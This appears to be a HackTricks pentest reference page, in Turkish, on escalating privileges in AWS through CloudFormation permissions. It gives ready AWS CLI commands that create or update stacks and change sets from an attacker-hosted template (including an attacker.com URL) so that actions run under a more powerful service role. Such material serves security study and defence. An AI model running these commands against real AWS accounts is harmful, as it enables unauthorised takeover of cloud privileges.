AWS - Cloudformation Privesc

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.

cloudformation

Cloudformation hakkında daha fazla bilgi için kontrol edin:

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

Bu izinlere sahip bir saldırgan, belirtilen bir rolün izinleri altında eylemler gerçekleştirmek için kendi sunucusunda barındırılan özel bir şablon ile bir CloudFormation yığını oluşturarak yetkileri artırabilir:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

Aşağıdaki sayfada cloudformation:DescribeStacks ek izni ile bir istismar örneği bulacaksınız:

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Olası Etki: Belirtilen cloudformation hizmet rolüne privesc.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

Bu durumda, mevcut bir cloudformation yığınını istismar ederek güncelleyebilir ve önceki senaryodaki gibi ayrıcalıkları artırabilirsiniz:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

cloudformation:SetStackPolicy izni, bir yığın üzerinde kendinize UpdateStack izni vermek için kullanılabilir ve saldırıyı gerçekleştirebilirsiniz.

Olası Etki: Belirtilen cloudformation hizmet rolüne privesc.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Bu izne sahipseniz ancak iam:PassRole yoksa, yine de kullanılan yığınları güncelleyebilir ve zaten eklenmiş IAM Rolleri kötüye kullanabilirsiniz. Sömürü örneği için önceki bölüme bakın (güncellemeye herhangi bir rol belirtmeyin).

cloudformation:SetStackPolicy izni, bir yığın üzerinde kendinize UpdateStack izni vermek için kullanılabilir ve saldırıyı gerçekleştirebilirsiniz.

Olası Etki: Zaten eklenmiş cloudformation hizmet rolüne privesc.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Bir rolü geçme ve bir ChangeSet oluşturma & yürütme iznine sahip bir saldırgan, yeni bir cloudformation yığını oluşturup/güncelleyerek cloudformation hizmet rollerini CreateStack veya UpdateStack ile olduğu gibi kötüye kullanabilir.

Aşağıdaki sömürü, ChangeSet izinlerini kullanarak bir yığın oluşturmanın bir varyasyonudur CreateStack bir.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

cloudformation:SetStackPolicy izni, bir yığın üzerinde kendinize ChangeSet izinleri vermek için kullanılabilir ve saldırıyı gerçekleştirebilirsiniz.

Olası Etki: cloudformation hizmet rollerine privesc.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Bu, IAM rollerini geçmeden önceki yöntem gibidir, bu nedenle sadece zaten eklenmiş olanları kötüye kullanabilirsiniz, sadece parametreyi değiştirin:

--change-set-type UPDATE

Olası Etki: Zaten ekli olan cloudformation hizmet rolüne privesc.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Bir saldırgan, bu izinleri kötüye kullanarak StackSet'ler oluşturabilir/güncelleyebilir ve keyfi cloudformation rollerini kötüye kullanabilir.

Olası Etki: Cloudformation hizmet rollerine privesc.

cloudformation:UpdateStackSet

Bir saldırgan, passRole izni olmadan bu izni kötüye kullanarak StackSet'leri güncelleyebilir ve ekli cloudformation rollerini kötüye kullanabilir.

Olası Etki: Ekli cloudformation rollerine privesc.

Referanslar

• https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.